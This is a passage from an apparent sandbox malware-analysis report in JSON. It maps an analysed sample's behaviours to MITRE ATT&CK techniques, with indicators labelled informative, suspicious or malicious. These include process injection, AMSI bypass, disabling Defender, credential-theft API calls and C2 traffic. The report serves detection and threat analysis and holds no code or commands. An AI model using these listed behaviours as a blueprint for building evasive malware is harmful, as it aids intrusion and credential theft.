Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Contains ability to run commands or expressions (Powershell command string)"},{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Windows Script Host executes Powershell"},{"type":"informative","value":"Executes PowerShell with command line"},{"type":"malicious","value":"Executes powershell requesting to bypass execution policy"},{"type":"suspicious","value":"Uses powershell to invoke an expression using an environment variable"},{"type":"suspicious","value":"Uses PowerShell to run commands or expressions"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Calls an API typically used to create a process"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Logged script engine calls"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Execution","technique":"Visual Basic","attack_id":"T1059.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/005","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"suspicious","value":"Script file shows a combination of malicious behaviors"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Persistence","technique":"Network Logon Script","attack_id":"T1037.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1037/003","identifiers":[{"type":"informative","value":"Able to establish enduring access through network startup procedures"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to modify system service (API string)"},{"type":"informative","value":"Contains ability to start a service (API string)"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Persistence","technique":"Logon Script (Windows)","attack_id":"T1037.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1037/001","identifiers":[{"type":"malicious","value":"Tries to use windows logon scripts to establish persistence"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Persistence","technique":"Path Interception by PATH Environment Variable","attack_id":"T1574.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/007","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"malicious","value":"Windows system process connects to a network"},{"type":"suspicious","value":"Spawned processes are likely due to an injection"},{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to create a remote thread (API string)"},{"type":"malicious","value":"Script loads executable in memory (Antimalware Scan Interface)"},{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify process memory (API string)"},{"type":"informative","value":"Creates a thread in a self process"},{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Privilege Escalation","technique":"Bypass User Account Control","attack_id":"T1548.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1548/002","identifiers":[{"type":"informative","value":"Contains ability to bypass UAC using COM object (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"informative","value":"Contains ability to unmap view of a section from a process (API string)"},{"type":"malicious","value":"Creates a system process in suspended mode (likely for process injection)"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Contains ability to queue an Asynchronous Procedure Call (APC) in a remote process (API string)"},{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"YARA signature match – Encryption algorithm"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Able to utilize the Windows bcrypt cryptographic API"},{"type":"informative","value":"Loads the Bcrypt module DLL"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify System Firewall","attack_id":"T1562.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/004","identifiers":[{"type":"malicious","value":"Modifies firewall settings"},{"type":"suspicious","value":"Able to modify firewall settings"},{"type":"informative","value":"Detects NETSH process execution"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Defense Evasion","technique":"System Binary Proxy Execution","attack_id":"T1218","attack_id_wiki":"https://attack.mitre.org/techniques/T1218","identifiers":[{"type":"suspicious","value":"Detected system process execution without parameters (likely process injection)"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – Anomalous PE file structure"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"suspicious","value":"Calls an API typically used to find and list the Windows drive types"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"malicious","value":"Attempts to identify external IP address"},{"type":"informative","value":"Detected Suricata Alert - External IP Lookup"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"malicious","value":"Spawns many processes"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Queries sensitive IE security settings"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Found registry location strings in memory"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"References Windows LDAP client module"},{"type":"informative","value":"Loads Windows LDAP client module"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"suspicious","value":"Tries to access/write temporary files"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Queries the display settings of system associated file extensions"},{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"Calls an API typically used to copy file from one location to another"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Uses HTTPS for communication"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops temp files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Able to download remote files using web shell script"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"informative","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"suspicious","value":"GETs files from a web server"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"malicious","value":"Uses network protocols on unusual ports"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Command and Control","technique":"Data 